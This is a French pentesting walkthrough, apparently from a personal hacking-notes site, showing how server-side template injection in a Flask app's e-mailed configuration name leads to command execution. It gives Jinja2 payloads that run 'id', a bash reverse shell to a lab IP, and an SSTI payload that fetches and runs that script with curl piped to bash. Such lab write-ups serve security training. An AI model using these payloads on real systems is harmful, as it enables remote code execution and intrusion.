> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-+-mail-flask-pentesting-web.md).
# SSTI et Mail Flask
## SSTI :
En observant la configuration, nous remarquons que si nous modifions le nom de notre configuration, un e-mail de confirmation est envoyé. Cela peut être une opportunité pour une attaque SSTI.
Nous testons avec une charge utile de type :
```bash
{{ 9*9 }}
```
Si le résultat est `81`, l'application est vulnérable.
Nous confirmons que l'application est vulnérable et testons l'injection de commandes avec une charge utile provenant de `payloadallthethings`:
{% embed url="" %}
ID de la commande :
```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```
Nous réussissons à exécuter un shell inversé en écoute sur le port 443 :
```bash
nc -nlvp 443
```
Nous créons un fichier `index.html` avec le contenu ci-dessous pour exécuter un shell inversé
```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1
```
Puis nous démarrons un serveur HTTP avec Python :
```bash
python3 -m http.server 80
```
Nous envoyons la charge utile avec `curl` pour récupérer et exécuter la commande :
```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 10.10.14.3 | bash').read() }}
```
---
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